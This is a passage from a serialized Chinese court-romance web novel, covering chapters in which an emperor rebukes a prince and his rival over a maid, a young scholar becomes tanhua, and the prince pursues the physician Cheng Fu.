景暄帝心知把凌榆白放在燕阳充当眼线,做了一些不宜拿到台面上说的事,等同“背叛”,阿诺难免有芥蒂,所以他理解二人之间的矛盾,也两厢警告过,要求息事宁人,未料二人又掐起来,坏了他的大好兴致,一时心生烦躁。 崔令瞻和凌云先后迈进暖阁觐见,前者眉目森冷,一脸愤慨,后者脚步踉跄,嘴角挂着尚未干涸的血丝,就连衣襟袖摆也沾了不少血迹。 情况远比景暄帝以为的严重。 他骤然色变,难以置信瞪着崔令瞻,呵斥道:“谁给你的胆子?竟对朕的人动私刑!” 崔令瞻撩衣跪地,凌云也跪了下去。 “皇祖父息怒。实在是凌榆白目无尊上,倚仗皇祖父威势,在燕阳就多番诱哄我的贴身婢女,发展到京师已然明抢,此等屈辱,孙儿若还没有一丝血性便枉为丈夫。” 景暄帝:“……?” 若真如此,榆白可是活腻了。但他没有全信阿诺所言,沉吟片刻,面色阴沉如水,撩眼瞪向凌云,“你可有话解释?” “回陛下,微臣冤枉。”凌云擦了擦嘴角血迹,“若论强抢,天下谁人能及毅王?” 崔令瞻偏头怒视他。 凌云:“毅王强抢美人,三心二意,用完就抛弃了,微臣有心怜之,何错之有?他若不喜旁人沾染,为何不给个名分藏于后院?” 崔令瞻抿紧了唇,眼眶通红。 情敌很懂如何捅刀子,扎进对方尚未愈合的伤口,白刀子进红刀子出,血淋淋的。 “本王与她存在诸多误会,可本王一直在努力修复,这不是你就能名正言顺欺负她的理由。”崔令瞻咬牙道,“她再不会原谅你。” 凌云从容的表情肉眼可见地碎了,瞳仁轻晃。 捅完毅王的刀子像回旋镖,重新捅进他的心脏,扎进去没出来,化作汩汩的血流,从他深色的公服慢慢渗出—— 作者有话说:抱歉哈,久等啦[求你了][求你了][求求你了][求求你了] 第76章 景暄帝沉着脸打量跪伏的两个人, 从他们的只言片语不难了解到起因缘于女人。 年近七旬,阅历丰富的帝王,素来瞧不上为女人争风吃醋的男人, 但他理解年轻的孩子。当男人年少, 血气方刚, 脑子时常受到需求的支配, 难免为女人做蠢事。 大家都是这么过来的,这就是正常人必经的正当反应, 不值得褒贬,所以他瞧不起的只是年纪大还不理智的男人。而阿诺和榆白, 在他眼里就是小小的孙儿辈, 是黄口小儿。 两个孩子争糖果,虽幼稚却不失天真,大人见了多半是一笑置之。 景暄帝半眯起眼, 兴致不高道:“都闭嘴。” 崔令瞻和凌云忙泥首请罪。 “皇祖父息怒。” “皇上息怒。” “不过一名贱籍的婢女,也值当你二人在此丢人现眼。”景暄帝平稳的声音里透着不耐烦,“大伴。” “奴才在。”像个影子似的的魏宪立即躬身上前,“陛下有何吩咐?” “今年新入宫的秀女,挑两个姿色顶好的,赏给毅王。” “皇祖父……”崔令瞻错愕,嘴角微抽, 凌云的神色陡然发光, 有着掩不住的幸灾乐祸。 但他并未能高兴太久,因为景暄帝要把芳璃赐给他做妾。 凌云原就伤势严重,闻言雪上加霜,几欲昏倒,忙忙叩首道:“皇上恕罪, 万万不可。毅王与宠婢藕断丝连,微臣恐将来又要生出许多官司,实在承担不起。”他抿一下唇,又道,“其实微臣正在相看姑娘,想与那姑娘正经过日子,还是先不纳妾为妙……” 景暄帝抬抬眼皮,“所以你这顿打是白挨了。” “微臣有罪,叫皇上看了笑话,请皇上责罚。” “放心,死罪可免活罪难逃。待你伤势痊愈,朕另行追究。”景暄帝冷着脸,“来人,将凌佥事抬下去。” 凌云慢慢垂下眼帘,衣袖下的血迹越聚越多。 候在门外的内侍领命入内,一左一右架着凌云前往值房就医。 暖阁的金砖上,先前凌云待过的位置,一大滩血迹触目惊心,可见伤势一斑,竟全程没有哀嚎,颇有当年凌怀槿的几分狠劲。 景暄帝面无表情,想起故人的心却悄然泛起一丝波澜,那波澜无声无息,不为人所知。 两名宫人提着水桶轻手轻脚迈入,先朝皇帝问安,魏宪使个眼色,她们蹲一蹲身,掏出抹布擦洗金砖,动作又快又稳,而后弓着腰一点动静也无地退了下去,仿佛没来过。 殿内殿外重新归于静谧,静得只余毅王浅浅的呼吸声。 “榆白少说又被你的人砍了三刀。”景暄帝淡淡道。 “回皇祖父,此番实乃凌榆白咎由自取,况且孙儿的人也受了重伤,如不罚他,再无颜面立世。” 景暄帝扶膝慢慢站起身,慢慢踱步走到崔令瞻身前。 作为真龙天子,他日渐衰老,便是起身这样普通的动作,已无当年的轻盈刚劲,变得废力和迟钝。 景暄帝:“是该罚。” 女不女人倒是其次,事关一名亲王的尊严。 听此一说,崔令瞻抬头看向年迈的皇祖父,终于有了愧疚之意,嗫嚅道:“皇祖父,您是不是对孙儿很失望?” 景暄帝不咸不淡道:“当着外人的面,朕赏了你体面。你且老实回答,一而再对朕的人下死手,可有将朕的警告放在心里?” 不过一名婢女,还是玩腻了的,便是赏给榆白又何妨?何至于取他性命? 若连这点气量都没有,将来还能成什么事? “事实并非凌榆白所言,孙儿不过是与宠婢拌了几句嘴,宠婢赌气出门,他便以为有机可乘。” “意思是那婢女顶撞你在先?” “算不上顶撞。孙儿虽贵为亲王之尊,可是关起门也只是个普通的男人,房帏之内,男女之情若也讲究条条框框,繁文缛节,那还有什么意思。” 小两口关起门红脸白脸确实不值得小题大做。 景暄帝冷冷笑了笑,“回回你都有理,却回回逆着朕的心思对他下死手。朕不管你如何巧言令色,只警告你,这是最后一次。” 皇上的人自有皇上来处置。 崔令瞻:“是,孙儿知道错了。” 回答他的是景暄帝的一记耳光。 崔令瞻身形动也不动,受了这巴掌,低头请罪。 魏宪心头一震,将腰弯得更低,默默往后退,避开这一幕。 “糊涂东西,若非念你往日果敢机敏,剖决无滞,朕赏你的就不止一巴掌。” 崔令瞻:“皇祖父息怒。” 景暄帝幽幽道:“朕的北镇抚司不是摆设,谁忠不忠心,朕比任何人都清楚。朕不管你是私怨也好,明憎也罢,凌榆白,杀不得。” 崔令瞻攥紧的手心一再握了握,泥首回:“是,皇祖父。” “朕知道你不服气。”景暄帝淡淡道,“可还记得前大理寺卿凌怀槿?” “罪臣凌怀槿……” “他不是罪臣。”景暄帝道,“他甘为朕的棋子,为朕的千秋大业身先士卒,以酷吏为表象,斩世家佞臣,又以奸臣为面具,陷害‘忠良’,把那些个不知收敛的老东西,自诩从龙立下不世之功的糊涂东西,全都收拾干净。” “他为朕扛下所有骂名,妻离子散。”景暄帝疲惫地闭上双眼,“朕若连个后都不给他留,于心何安?” …… 掌灯时分,挨了打、罚完跪的毅王才得以离开皇宫。 皇帝首先是帝王,而后才是皇祖父。 皇帝虽然老了,逐日沉湎酒色,迷信长生之术,不负当年的雄才大略,可积累了几十年的威势不减,手段不减,这天下照旧在他掌中,他不允许被人一而再违逆。 当然凌云也没有吃到好果子。 只有芳璃全身而退。 皇帝压根就没兴趣见无足轻重的小蝼蚁,只警告崔令瞻管好她,这个“管”包含两种处理方式:杀了或赏给凌云。 都不选的话,就确保她不再惹是生非,否则定叫她吃不了兜着走。 芳璃狠狠踹了一脚太湖石假山,“关我球事啊——” 气归气,可一想到毅王的种种优点,尤其是出手大方……只要捏着鼻子再干几年,她就能一辈子衣食无忧。 嗐,钱多就是爹,芳璃想着这位活爹,默默忍下了。 因她未遭受责罚,比毅王早一步返回了漪碧园。碰巧见到芙小姐,不对,如今应改称程太医,想到此芳璃还是十分敬佩的,笑眯眯地给程芙问安。 程芙颔首,随口问道:“毅王还好吧?” 毅王“好”的话证明事情圆满解决,不好……将来查到她头上,又是一桩冤案。 芳璃转了圈眼珠子,笑道:“好着呢!奴婢离开前打探过,皇上并未责罚王爷,反倒叫人把凌榆白拖了出去。” 果真?程芙面露喜色。 “千真万确!王爷不仅没受罚,还平白得到两个大美人,美滋滋!等回来您就能瞧见。”芳璃说着拍拍自己的嘴,“哎哟奴婢这嘴,怎么说话的,其实就两个小秀女,再美也美不过您,王爷就普普通通地高兴。” 程芙讪然扯了扯嘴角,“好,皇上不追究我便放心了。” “包没事。”芳璃瞅瞅天色,“不早了,王爷和美人应马上就回来,王爷叫您早些安歇,不必等他。” 程芙点一点头。 芳璃辞别程芙,蹦蹦跳跳离开了前院。 一夜安眠,崔令瞻并未回漪碧园打扰程芙。 男人在女人面前总要保持点体面,不想被阿芙瞧见他挨过打。 次早起身,程芙坐在镜前细细端量自己的红唇,药膏的效果立竿见影,除去破皮的地方还残存痕迹,那是咬凌云时用力过猛,混乱中擦碰所致,其余红肿均已消褪,明日便可正常上衙。 妆台一应陈设都是男子日常所需,原本没有女人的痕迹,此刻摆着一溜胭脂水粉香膏,皆是昨晚才放上去的。 因王爷有洁癖,不喜与人共用洁身之物,所以婢女连木梳都为程芙准备好了。 可不敢拿王爷的给她用。 婢女倒完洗漱的水归来,福身一礼,柔和禀道:“奴婢叫洛珠,是这里最会梳头的。您想通会头发再挽发髻,还是现在挽,只管吩咐奴婢。” “我自己通发,等会再唤你过来。”程芙喜欢自己的头发,柔软光滑如丝缎,时常自己通发,边享受边思考。 洛珠欠身应是,后退几步,守在帘子外。 崔令瞻走进寝卧,脸上的巴掌印已消,光洁如初,见到程芙端坐锦杌对着镜子发呆,乌云青丝垂泻如瀑,垂到了臀下,云雾般轻柔,难掩曲线玲珑。 他喉头轻轻滚了一下,移开视线,走到她身边,从后面轻轻抱了抱她,“我瞧瞧。” 不等她问何事,下巴已被温热干燥的指腹轻提,他的视线落在她红润美好的樱唇,定了定笑道:“已无大碍。这里还痛不痛?” “不痛。”程芙推开他的手,“些许破皮,两三日便可痊愈。” 他接过她手中的木梳,主动为她通发,只觉得一捧丝缎在掌心在指腹流动。 程芙:“我喜欢自己梳。” 崔令瞻:“阿芙好香。” 他低头闻了闻那乌云青丝。 “……”程芙垂下眼帘,推开他。 崔令瞻放下木梳,扳过她肩膀,面朝自己,而后蹲在她膝畔,仰脸望着她,“阿芙,芳璃乱说话,我已罚她去屋顶上举水缸。我身边只有你一个美人……” 程芙:“你怎能如此不讲理?她也没对我讲什么过分的话……” “皇祖父赏过我许多美人,有的在薛姑姑跟前学规矩,有的则去阿真的园子当差,都有自己的事做。” “为何要对我讲这些?” “你说呢?” 他皱眉望着她发笑,柔情万种—— 作者有话说:又快到月底了,求营养液,谢谢你萌~~[求你了][求你了] 第77章 她回:“我想回家。” 每个人都有自己的家, 程芙很清楚这里不是。 她避开了呼之欲出的答案,崔令瞻凝眸直视她须臾,点头说:“好。” 程芙低声道了句谢。 “但我想你时就会去见你。”崔令瞻补充。 “打算一辈子如此?” “不行吗?” “我有自己的生活, 将来或许还会成亲。”她很认真地望着他, “你要继续把我的人生弄得一团糟吗?” 崔令瞻拍拍她肩膀, 站起身, 重新为她通头发,“阿芙, 你不会一团糟,只会比任何女人都耀眼。” “我们圆过房, 你懂圆房吗?行过周公之礼, 便要一生一世在一起,谁都不许有其他人,这是契约。” 程芙:“你自己定的契约?” 崔令瞻冷哼一声, 不答。 不管她承不承认,他在她心底绝对是与众不同的,哪怕是厌恶和憎恨,也不同于任何一个男人。 他与她,天生就该纠缠不清,永远在一起。 程芙把他的左手放在自己纤细的脖颈,帮他攥紧了, “那不如现在扭断我脖子, 反正我不会承认你是我的男人。” 崔令瞻微微用了一点力气,虎口轻顶,她就被迫仰起了脸。他在她额头印下一吻,“明知我下不去手,我永远都不会伤阿芙发肤。” 但会伤她的心。 …… 荀叙第五次路过离妇人科最近的那条小径, 终于有人看不过眼,凑过来小声提醒他,“你也好奇程吏目的美貌是吧?今天她没来太医署,别白费力气。” “啊,胡说什么呢,我外祖母遣人给我一些东西,不知为何至今未出现?” “呃,是我误会了,见谅哈。” “无妨,你也是好心。”荀叙笑了笑,忽然问,“程吏目为何没来上衙?” “身体微恙,大清早就遣人过来告假。” “严重吗?” “不严重,明儿就能恢复。” 荀叙点点头,又问:“你为何这么清楚?” “我在甲库当差,最清楚点卯的事。”那人抄着手腼腆一笑,“我也好奇程吏目。” “滚。”荀叙脸色一黑,横眉竖眼道,“我看你是闲得,给我去生药库做工!” 那人张大嘴巴,平白挨了一顿训斥,也不敢辩驳,嗫嚅着“知道错了”,夹着尾巴飞快溜走。 荀叙站了片刻,神色怏怏,循着原路慢腾腾离开。 说起来也怪,此后的日子不管做什么都没精神,常常发呆走神。 他知道阿芙每天都来太医署上衙,也清楚她改走小道,但一次也没去“偶遇”。 不想遇到她了。 反正她对他的态度本来就可有可无,嘴上说着朋友,但如果他不去见她,她根本不会主动找他,甚至还特别烦他,不是警告他这个就是警告他那个,一堆的规矩。 总之不许他亲近她。 原来他一直在生阿芙的气,当她一脸坦荡要将发小介绍给他时,他就开始生气了,后面的微笑和风度不过是虚假的表面。 想到此,他埋首公文,将程芙一股脑抛到脑后,不再想她。 他的人生可有趣可丰富,不过来与他一起看人间的风景是她的损失。 当杏花开满了京师的御街,三年一次的会考终于揭榜,天不亮,杏榜就被悬挂在了国子监的照壁。 揭榜当日,国子监门口人头攒动,挤满了考生或考生的家人、仆役。 齐主事家专门派遣一名魁梧高壮的男仆,男仆把识字且眼力好的小厮高高举起,小厮眯着眼从密密麻麻的人名里寻找自家的表公子,原以为将要苦苦搜寻一阵子,谁知才过了几息,小厮的公鸭嗓子就嘶喊起来,响彻云霄:“中了中了,表公子中了,会试第三——” 大昭今年的会试第三竟是一名才满十八岁的少年人。 可以说近百年才出了这么一个年轻的会试才子。 魁首会元足足比他年长二十余岁。 徐峻茂三个字一下就火了,引来不少人关注。 世上哪有不爱才子的佳人,所以才有榜下捉婿这么一说。无奈每年的才子们都略有些年纪,甚少没有家室的,要么就是没有家室但相貌说不过去,总之让佳人们很为难。 今年就不同了,会试第三才十八岁,如无意外考个进士不难,一些未出阁的佳人们跃跃欲试。 此等大喜之事齐主事一家秘而不宣,至三月初二殿试,一家人小心翼翼把徐峻茂送去了皇城。 皇城有专人接送今年的贡生入保和殿参加殿试。 殿试只考制策,全程由皇上亲自主持,因而没有主考官,仅设读卷官,分别为两名内阁大学士,六名六部大臣,四名御史组成。 考试环境比之会试,前者天上云,后者地下泥。 保和殿场地宽敞明亮,书案圈椅宽阔舒适,铜鼎燃着宁神怡人的熏香,脚下铺着金砖,抬首可见雕梁画栋,仿若仙境楼阁。 但没有人能真正放松。 都走到这一步了,人人都是奔着一甲二甲进士而来。 景暄帝今年的题目甚简:凡有利国良策,不拘大小,明言政要,朕将亲览。 给足了众人自由发挥的空间。 有人绞尽脑汁歌颂太平盛世,帝王之功;有人揭露家乡弊端,为安邦定国抒发自己的见解,献上安良策。 时年三月初十,杏花如雪堆满枝头,礼部赞官执喜报骑白马分别驶向三个方向——状元、榜眼、探花的家,登门报喜。 其中一匹白马径直抵达双槐胡同。 齐主事和妻子盼星星盼月亮,就等揭榜的日子,做梦也没想到朝廷赞官竟在揭榜前一日提前登门——这是一甲进士才有的待遇。 他傻了眼,忙问妻子胡同可还有其他考生? 徐氏呆呆道:“不就咱们家阿茂一个……” 第78章 三月十一大清早, 御街夸官,也就是老百姓俗称的一甲三进士游街。 天不亮御街两旁就站满了看热闹的百姓,还有维护秩序的巡街使, 人群一直延伸到了春华街交界处。 当骡车经过, 程芙忍不住好奇探出头, 御街灰蒙蒙的, 靠着稀稀拉拉的几盏灯笼微光,看得不甚分明, 莫说大昭的才子此刻还未出现,便是出现了也难瞧个清楚。 不知徐峻茂中了第几名。 …… 天越来越亮, 清冽的晨光大盛, 吏部和礼部官员手持圣旨,鸣锣开道,老百姓的精神立刻抖擞, 仰长脖颈,踮起脚张望。 只见三匹白马载着三位人生得意的郎君缓辔而行,彼时杏花微风,剑眉星目的探花郎瞬间成了人群的焦点。 年轻,实在是太年轻。 京师的姑娘们窃窃私语,还有胆子大的用罗帕包了一捧花,掷向徐峻茂, 倘他因惊愕投来视线, 掷花姑娘就会捂着脸,又羞又期待。 有人起了头,后面投掷的人越来越多,徐峻茂意识到她们是故意的,遂驭马飞快驶离, 身后全是女孩子的娇笑。 他逃得那么快,簪花展脚的皂纱飘带被风扬起轻盈的弧度,只余下一抹深蓝色的罗衣背影,斜披一段赤红锦,细腰革带。 程芙虽无缘围观少年才子,却有一位百事通同僚,通过她的嘴,大家也能过一把盛况之瘾。 包吏目兴奋道:“今年的探花郎是真的探花郎!” 众人问:“探花还能有真假之分?” “那当然。”包吏目说,“今年的探花尚未婚配,长得可好看了!”说着努努嘴,“荀御医那种级别的,你们就说俊不俊吧?” 如此一说,程吏目和邹吏目的注意力蓦地被她吸引。 正常人对才子都有着天然的敬畏和好奇,再加上得天独厚的长相,年轻的女子很难不关注。 不过程芙想到自己遇到的相貌顶好之人一个比一个恶劣,不禁意兴阑珊。 只是包吏目的描述越听越熟悉,一时没敢仔细想,直至巳初,才印证了她惊人的猜测。 女役前来禀告:“程吏目,有人找您。” 程芙起身,边走边问那女役:“是谁?” “探花郎。” “……?” “起先奴婢也吓了一跳,可见他装束与众不同,一问之下竟真是探花。”女役兴奋到两眼冒光,热切地望着程芙,道,“恭喜吏目,家族出了这样一位亲戚。” 不知是堂兄还是表兄,但上官的家事焉能探听,女役不好再细问,却殷勤送了程芙一程。 程芙沿着乱石子铺就的羊肠小径往前走,三月的柳丝摇曳着,每往前多走一段路,柳丝烟雾便越淡,一直到能清晰地望见穿堂伫立一人,如兰如松,渊渟岳峙,极眼熟也极陌生,程芙简直不敢相信自己的眼睛。 她瞠目走过去,暗暗咬一下自己的嘴唇,疼,不是梦。 “阿茂。” “芙妹妹。” 她欣喜紧走两步,而他大步跨过来,须臾站定在她面前。 他乡遇故知。 徐峻茂:“柳姨承诺若我能考中一甲便不再约束我,所以今日我才敢贸然前来。” “我姨母向来刀子嘴豆腐心,心其实是热的,你莫往心里去,”程芙小声道,“从前的她太苦了,还请你担待。” “我从未怪过她,惟愿有朝一日能令她舒心。” 两个苦命的人儿,都不为对方长辈所喜,难得的是彼此始终信任对方。 他温柔地打量她,“等下我就得入宫参加荣恩宴,那之后没法再穿进士服,可我想叫芙妹妹看见此时的我。” 因而一日也等不及相见了。 他知道自己有多好看,更知这身进士服对女子的吸引力,做梦都想被芙妹妹亲眼一睹。 徐峻茂腼腆而笑。 程芙后退一步仔细端详,美眸亮晶晶。 “你真好看,突然长这么高,我差点没认出……”她仰脸由衷赞美,笑盈盈。 芙妹妹的声音真好听,像一只软软的小爪子在少年人的心尖挠了下,徐峻茂的心脏陡然加速跳动,脸颊和脖子同时绯红一大片。 他视线闪躲,不敢直视,嗫嚅道:“你也是。” 她是天底下最好看的妹妹。 “是,我也长高了。”程芙说,“咱俩都长大了。” 一阵酸涩涌上鼻腔,徐峻茂转眸一眨不眨凝视她。 程芙拍拍他手臂,“好啦,时辰不早,万不能耽搁荣恩宴,早些进宫吧。” 徐峻茂低头抿一抿唇,道:“我有许多话想跟你说。” “后日便是休沐。”她提醒。 徐峻茂眼睛一亮,“到时我找你,等我。” “好,等你。”程芙柔声应下。 他依依不舍,程芙却不敢大意,再三劝他先去忙正事,久别重逢的契阔放在哪天都不晚。 徐峻茂很听话,便一步三回头离开了太医署。 目送他离开的背影,程芙轻拍自己的心口,从前只觉得他字写得比常人好看,万没想到竟还是那个乡试第一,会试第三,殿试第三的小探花。 徐家的祖坟莫非真冒了青烟。 说到“坟”,程芙冷不丁就想起徐峻茂的哥哥,也不知尸首被没被徐家的人找到…… 不过此人时常在外眠花宿柳,十天半个月不见人影再正常不过,最久的一次长达半年,但现在已然超过半年,清安县那边怕是早就轰动。 然而那样的人做孤魂野鬼也是活该,主要吧……人是凌云所杀,程芙哪里还敢提醒徐峻茂,万一他意气用事,惹恼凌云,闯下杀身之祸,那她可就难辞其咎。 回廨所的路上,她低头想事情出神,没注意前面有人,仿佛凭空冒出的,察觉到阴影,她忙抬头看,荀叙双手叉腰站在路中央。 “荀御医。”在公署自然要以职位敬称,但她此时的心情极好,声音便也格外热络,“许久不见,近来可好?” 当然好。荀叙扬扬眉,“我好着呢,你好不好?” “我也挺好的。” 本来就是随口的寒暄,不管好不好一般都会回个“好”字,不会有人当真就地大吐苦水的。 荀叙见她没有停下脚步的意思,只好放下莫名其妙的矜持,追着她,道:“刚才那人谁呀?你们站在对面的亭子一直聊天。” “我发小。”程芙惊愕道,“你看到了?” “不是故意看到的,我就路过。” “真可惜,当时你要是走过来打声招呼便好了,他是今年的探花。” “那很厉害了。不过我们家也有一些状元探花的,我爹就是状元,我外祖父也是,那我脑子也很聪明的,我只是懒得考科举。” 程芙钦佩道:“不怪你们家出这么多登阁拜相的大人物,你也很聪明。” “那是。” 荀叙登时飘飘然,声音也变得更温柔,眼巴巴跟着她走了一段路,在通往妇人科的分叉路,怔怔瞅着她离开。 程芙倒没往心里去,只觉得荀叙是个很喜欢被人夸奖的人,还蛮单纯的。 而她本身就是个温言善语之人,待朋友更是不吝赞美,一句大实话能让他高兴,她也很高兴。 殊不知这一幕刚好落在了那名被荀叙罚去生药库做了三天工的甲库胥吏眼中,气得他鼻子都歪了,在心里道:呸,说我闲得,我看你才是闲得,安条尾巴都能对着程吏目摇起来! 荀叙目光一凛,发现了他,冷声问:“你怎又过来?” 你自己不也过来?那人欲哭无泪,苦着脸道:“小的无意中路过,还请御医恕罪,小的现在就消失。” …… 下衙时,程芙收到了一枝特别的杏花,心情就更好了。 送花的内侍解释道:“这是琼林苑鲤鱼池畔的百年杏树花枝,乃前朝参加荣恩宴的进士所植,寓意最是吉祥,所以徐探花就亲手折下这一枝,叮嘱奴才给您送过来。” 不用说,定是付了不少跑腿的赏钱。 一甲进士亲手所折的鲤鱼池杏花,外面都炒到了五两银子一枝,有价无市。 小内侍见多识广,不多过问,拿了钱就负责将花儿送出宫城。 程芙谢过内侍,收下了花,步履轻盈离开皇城,未料还没走出春华街,骡车猛然一停,不等她询问进宝发生什么,崔令瞻已经撩起帘子走了进来。 “你……?”程芙着恼道,“怎又过来?大前天不是才见过?” “那也算见面?”崔令瞻没好气道,“好说歹说才同意我送你回家。这么短一段路,没说两句话就到了双槐胡同,然后你是怎么对我的?头也不回跳下车,跑得飞快。” 此时车厢外面的进宝急得团团转,拿眼偷觑毅王的护卫,又瞅瞅自己比人家胳膊还细的腿,嗐,不至于当街强抢表姑奶奶吧? 想起太太的叮嘱:毅王不会伤害你们奶奶,但会不会伤害你们就说不准,遇到他,须得谨言慎行,如果他把你们奶奶带走,你就赶紧回来禀告我。 车厢内,程芙尽量缩到角落,侧对着崔令瞻,心里戒备,尽量把婉拒的语气说得柔和:“你莫要连累我清白。” “咱俩这辈子都清白不了。我早已没了清白之身,要不挑个好日子把名分确定吧,就可以正大光明来往。” “你是不是听不懂人话?” “听得懂。”崔令瞻道,“你不愿跟我成亲,我也不强迫你。唯一不能令你满意的是——我不配合你分开的要求。你生气也罢闹我也罢,我就是不同意。” 程芙张了张嘴,想骂人,崔令瞻却把脸一板,“你这个人真是没礼数,动不动说脏话,你不害臊,本王听了都要臊死。” 不急时骂他禽兽-淫-魔,急了就要把人阉掉,崔令瞻直皱眉头。 可她是只纸老虎,真给她阉,她又怂了。 他拿着她的手握住那里,谁知才沾上她就尖叫着跳开,晃着左手,眼眶通红,好不可怜。 又不是没用过……他和她都是老夫老妻了,真的是。 崔令瞻轻轻晃了晃还在生闷气的阿芙,把她葱白的小手放在掌心,捏一捏,“阿芙,乖,今晚我们一起用膳吧,全都是你爱吃的。” 吃了饭她还能离开吗?程芙冷笑。 他在她面前慢慢蹲下,舒展手臂拢住了她纤细的腰肢,把头埋在她腹部,闷声道:“你不想我吗?” 半个月才见一面,就一点儿也不想他吗? “无耻,下流。”程芙别开脸,闭了闭目。 “再骂,我可就亲你。以后你骂一句我便亲一回。” 程芙忍无可忍,怒目扭过头,眼前一黑。 一盏茶后,崔令瞻揩去唇畔濡湿,眼尾微扬心满意足跳下骡车—— 作者有话说:晚安[狗头叼玫瑰] 第79章 看见王爷下车, 进宝松了口气,心想可以如常回家了,谁知王爷并没有离开的打算, 朝护卫使了一个眼神, 立即有人端过来一把条凳, 不多时, 奶奶打开车门踩凳下了车。 进宝:“……” 程芙叮嘱他,“回去禀告太太, 晚些时候我再回家。” 崔令瞻牵着她的手儿,道:“芙娘, 你真好。我绝不骗你。” 程芙默默缩回手, 拢在袖子里。 他笑了笑,拔腿追上她。 …… 半个时辰后,程芙和崔令瞻乘坐一艘木船在镜湖飘荡, 暮霭中的锦山绵延起伏,连接着泛起霞光的天际,把淡淡的云烟都凝结出了一点紫,美若仙境。 船身轻柔荡漾,程芙从栏杆的空隙探出一只手,打乱那宁静的金箔湖面,尖尖玉指挂着晶莹水珠, 粉润润, 可爱。 崔令瞻盘腿坐在她身畔,环臂看了她一会儿,突然问:“阿芙,你讨厌我是不是因为害怕喜欢我啊?” “喜欢我是什么很丢脸的事吗?我都被你教训成什么样,你哪里吃亏啦?” “……”她没回答也没回头, 视线依然定定瞅着水面的余波。 崔令瞻便不再追问,倾身凑近,好闻的男性气息也一股脑地往她鼻端钻,程芙感觉不自在,呼吸也有点热,想到他在车厢含住她嘴唇轻轻咬轻轻嘬,便气不打一处来,立刻往旁边挪。他继续贴近,紧紧挨着她,单手揽过她纤嫩的肩,同她一起望着湖面,低声道:“我说不要你时全都是违心的……” “……” “你倒好,不仅当真,还真的不要我。”他埋怨道,“瞧见没,但凡我不拿出点态度,觊觎你的宵小立刻坐不住,凌云就是一个例子。只有我才能把你所有烂桃花连根拔起。” 荀叙也不是好人,但威胁性远不如凌云,所以崔令瞻只抓了重点说。 程芙:“你就是最烂的桃花。” 崔令瞻哼了声,“我烂可是我疼你,他们……他们只是垂涎你。再说,你也喜欢我亲亲抱抱,先别着急否认,我不信你会对凌云的亲近有反应。”他断定,“你只喜欢我碰你……” 她只是讨厌他,可不是讨厌和他做亲密的事,这种“讨厌”极其不纯粹且虚张声势。崔令瞻目不转睛凝视她。 程芙低下眼帘,“正常的没有疾病的身体,面对异性的金玉皮囊都会有反应,这再寻常不过。你长得比他好看,对你更有感觉说明不了什么。” “可他也是少有的美男子,按你的说法怎样都不至于排斥。” “因为他经验不如你丰富,吻技极烂,弄得我差点死过去,谁被那样亲都不会有感觉。” “自欺欺人。”崔令瞻嗤笑,下一瞬拧着眉道,“谁经验丰富了?我那都是在你身上练出来的!” 程芙啐他一口,崔令瞻哈哈大笑,用只有她才能听见的声音戏谑道:“我才无所谓,你哪里的口水我没吃过。” “嘭”的一声,程芙羞愤欲死,脑瓜子里烧起了一团火,两耳轰鸣,只恨不能找个地缝钻进去,“你闭嘴啊!” 她用手打他的嘴。 崔令瞻含笑攥住她腕子,亲亲她指尖,“没必要害羞,我们是世上最亲密的……” 谁能想到毅王私底下如此放浪形骸? 她不是怼不过,只是没有他不要脸。 程芙别开脸不再看他,眼不见为净。 搂着怀中香软的人儿,崔令瞻沉吟片刻,觉得还是有必要把荀叙拎出来说,“那日你和荀叙偶遇,被他用吃的哄走了对不对?” “我没那么馋。” “我知道,反正一对上他的花言巧语,你就没了戒心。可他这个人,风度和体贴只会流于表面,用完饭转头就走,也不知送一送佳人,这才让凌云有了可趁之机。” “他又不是我什么人,凭何要送我?” “话是如此,从你的角度看没问题。”崔令瞻说,“但他不该,因为他喜欢你,就有责任保护你,倘若做不周全,便是他不配。” “难道像你一样处处监视我、管着我才叫周全?” “谁处处监视了?我也是事后调查一圈才得知当日的前因后果。” 程芙绷紧了嘴角,扭过头道:“我觉得他这样挺好,这样我才不累,我喜欢距离感。” 崔令瞻点点头,“那我就放心了,看来你对他一点兴趣都没有。” “我对谁有没有兴趣不关你的事。” “你去勾搭个男人试试,就知道关不关我的事。” “我就勾搭了,你能奈我何?” “你放心,我有的是法子治你。” …… 这日午时付氏来到了京师,刚一下地就被人扶上了一辆气派的大马车,径直来到前门大街的凌府。 她也是在王府生活了多年的人,对京师的各种繁华都心里有底,却做梦也没想到阿云短短时日飞黄腾达成至此,她睁大眼睛打量凌府,忍着恐惧,颤颤问道:“你是不是贪了?” 怕不是个巨贪。 “……”凌云道,“光靠贪哪能够,是祖上产业。” 付氏适才放下不安的念头,真心替他高兴,双手合十道:“甚好甚好,阿云可算熬出头。” 凌云邀她去正堂坐下,婢女端着红漆托盘走进来,为二人沏茶。 “这边我已命人收拾了单独的跨院,你先住进去,若有不妥再命人调整。此处原是父亲的亲族所居,主要是出行方便,有单独的角门直通大街,比走正门省不少路,适合年纪大的人。” 方方面面都周到,付氏哪里能挑剔什么。她又不是不清楚自己以前的居住环境,现今能住一整个跨院,做梦都能笑醒。 她捧着热茶道:“当年我不过是碰巧给你包扎了伤口,没想到受你照顾多年,更没想到你还要替我养老,我很感激,但是我攒了不少体己,我不花你的钱,就靠一靠你的势,不叫人欺负我老婆子。” “我家中本也没什么人,不过多张嘴吃饭,算不上养老。”凌云道,“况且你也不是矫情的人,救命之恩不管当时心境如何,只要救了命,那吃我的用我的都是应该,咱俩就别客气。” 付氏嘿嘿笑,见他眉间略有惆怅,知道他又想起了家人,不禁问:“还没找到阿窈?” “人海茫茫,带走她的人一直搬家,最后一次出现的地方在范阳县。” “那岂不是离京师很近,一定会有好消息的。”付氏安慰他。 凌云嘴角微微牵,漆黑的双眸变得阴冷,“总会找到她的,她活得好,我替她报恩,否则我就让每一个伤她之人三族陪葬。” 付氏打了个冷战, 两人又聊到了程芙,了解了她在太医署的政绩,付氏由衷地赞道:“我就知道她是个特别的小姑娘。” 凌云:“特不特别不清楚,反正特别讨厌我。” “不会的,阿芙心胸一向宽广。”付氏说,“以后你莫再拉着个脸对她,多跟人好好说话,说软和话,不叫人姑娘难堪,那人家还会讨厌你吗?” “我以前……”凌云按一按额角,纠结地问,“呃,态度看起来真的很差吗?” “嗐,还行吧。”付氏强笑道,“没事哈,阿芙不会计较的,何况还有我的薄面在,在我跟前,她可是从未讲过你的不是。” 凌云微怔,“从未?” “对啊。”付氏眨了眨眼,“所以我说阿芙是个好姑娘。” 凌云知道事情远比自己想象的严重。 不在乎当然不会生气呀。 她的眼泪和愤怒从来都是因毅王而起。 